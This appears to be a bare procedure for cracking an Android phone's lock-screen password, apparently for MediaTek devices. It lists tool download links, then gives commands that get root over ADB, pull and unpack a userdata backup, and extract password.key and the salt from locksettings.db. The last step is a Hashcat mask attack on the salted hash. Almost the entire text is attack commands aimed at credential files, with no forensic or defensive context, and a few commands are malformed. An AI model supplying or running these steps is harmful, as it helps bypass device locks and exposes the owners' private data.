Software Required:
ADB Installer v1.4.3 = https://drive.google.com/file/d/0ByHv... MT65xx USB Driver = https://drive.google.com/file/d/0ByHv... Cygwin = https://cygwin.com/install.html Android Pattern Unlocker = https://drive.google.com/file/d/0ByHv... oclHashcat or Hashcat = https://hashcat.net/oclhashcat/ (gpu version) or https://hashcat.net/hashcat/ (cpu version)
Target files ===========================================
/data/system/password.key
/data/system/locksettings.db
/data/system/device_policies.xml
Command used:
adb root
adb pull /tmp/recovery.log
cat recovery.log | grep backup
adb pull /sdcard/userdata_*.backup
dd if=userdata_*.backup bs=512 skip=1 of=backup.tar.gz
file backup.tar.gz
mkdir~/backup
tar xvf backup.tar.gz -C ~/backup
cat /data/system/password.key | tr '[:upper:]' '[:lower:]' | tail -c 32
cat /data/system/locksettings.db
printf “%016x” salt key
cat /data/system/device_policies.xml
oclHashcat -a 3 -n 80 -u 1024 -m 10 md5-hash:salt-key -i --increment-min=Length --increment-max=Length -1 Mask Attack ?1*Length